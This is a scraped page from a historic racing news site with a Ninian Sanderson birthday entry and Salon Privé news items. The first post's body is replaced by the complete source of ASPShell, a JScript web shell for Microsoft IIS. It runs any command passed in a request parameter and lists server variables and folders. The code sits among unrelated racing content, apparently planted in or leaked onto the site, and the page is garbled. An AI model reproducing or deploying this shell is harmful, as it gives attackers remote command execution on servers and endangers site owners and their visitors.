KEEPING THE SPIRIT ALIVE SINCE 1999

it's a friday chap!

12-Mar-21 /historicracing.com
img

<%@ Language = "JScript" %> <% /* ASPShell - web based shell for Microsoft IIS Copyright (C) 2007 Kurt Hanner This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA http://aspshell.sourceforge.net */ var version = "0.2 (beta) [2007-09-29]"; var homepagelink = "http://aspshell.sourceforge.net"; var q = Request("q")(); var cd = Request("cd")(); if (q) { var command = ""; var output = ""; if (q.length == 0) { q = ":"; } command = "" + q; if (command == "?") { output = " ? this help page " + " :sv all server variables " + " execute any shell command "; } else if (command.toLowerCase() == ":sv") { var sv = ""; var svvalue = ""; var esv = new Enumerator(Request.ServerVariables); for (; !esv.atEnd(); esv.moveNext()) { sv = esv.item(); output += sv; output += ": "; svvalue = "" + Request.ServerVariables(sv); if (svvalue.indexOf(" ") >= 0) { output += " "; var svitems = svvalue.split(" "); for (var i=0; i 0) { output += " "; output += svitems[i]; output += " "; } } } else { output += svvalue; output += " "; } } } else if (command.toLowerCase() == ":cd") { var fso = new ActiveXObject("Scripting.FileSystemObject"); output = fso.GetAbsolutePathName("."); } else if (/^:checkdirs(.*)?$/i.test(command)) { var newdirabs = ""; var newdir = RegExp.$1; var fso = new ActiveXObject("Scripting.FileSystemObject"); var cdnorm = fso.GetFolder(cd).Path; if (/^\/i.test(newdir)) { newdirabs = fso.GetFolder(cd).Drive + newdir; } else if (/^w:/i.test(newdir)) { newdirabs = fso.GetAbsolutePathName(newdir); } else { newdirabs = fso.GetAbsolutePathName(fso.GetFolder(cd).Path + "\" + newdir); } output = fso.FolderExists(newdirabs) ? newdirabs : "fail"; } else { var changedir = ""; var currdrive = ""; var currpath = ""; var colonpos = cd.indexOf(":"); if (colonpos >= 0) { currdrive = cd.substr(0, colonpos+1); currpath = cd.substr(colonpos+1); changedir = currdrive + " && cd "" + currpath + "" && "; } var shell = new ActiveXObject("WScript.Shell"); var pipe = shell.Exec("%comspec% /c "" + changedir + command + """); output = pipe.StdOut.ReadAll() + pipe.StdErr.ReadAll(); } Response.Write(output); } else { var fso = new ActiveXObject("Scripting.FileSystemObject"); var currentpath = fso.GetAbsolutePathName("."); var currentdrive = fso.GetDrive(fso.GetDriveName(currentpath)); var drivepath = currentdrive.Path; %> Web Shell

ASPShell - Web-based Shell Environment Version <%=version%>
Copyright (c) 2007 Kurt Hanner, <%=homepagelink%>

<% } %>

Read More (3 minutes)

featured driver

14-May-20 /hr
Ninian Sanderson

Ninian Sanderson born on this day in 1925 - died in 1985, 36 years ago, he was 60. He would have been 96 this year.

Ninian Sanderson won the 1956 24 Hours of Le Mans together with Ron Flockhart on a Jaguar D-Type.

Read More (1 minutes)

Historic Racing News

News and information from Salon Privé

img

SPEED AND STYLE RETURNS TO SALON PRIVÉ

29-Jun-20 /SALON PRIVÉ

From the globally renowned Concours d’Elégance to the presentation of the Club Trophy, this year’s Salon Privé is set to be another unforgettable celebration of the very best that the motoring world has to offer.

Read More
  • Niche Italian Car Manufacturer, Manifattura Automobili Torino To Launch New Stratos At Salon Privé

    Designed, engineered and built by Turin-based Manifattura Automobili Torino, the spectacular New Stratos will be one of a number of stunning new cars debuting at this year’s Salon Privé and with just 25 being built, it will be a very rare sight

    11-Jun-20/ Salon Privé
  • img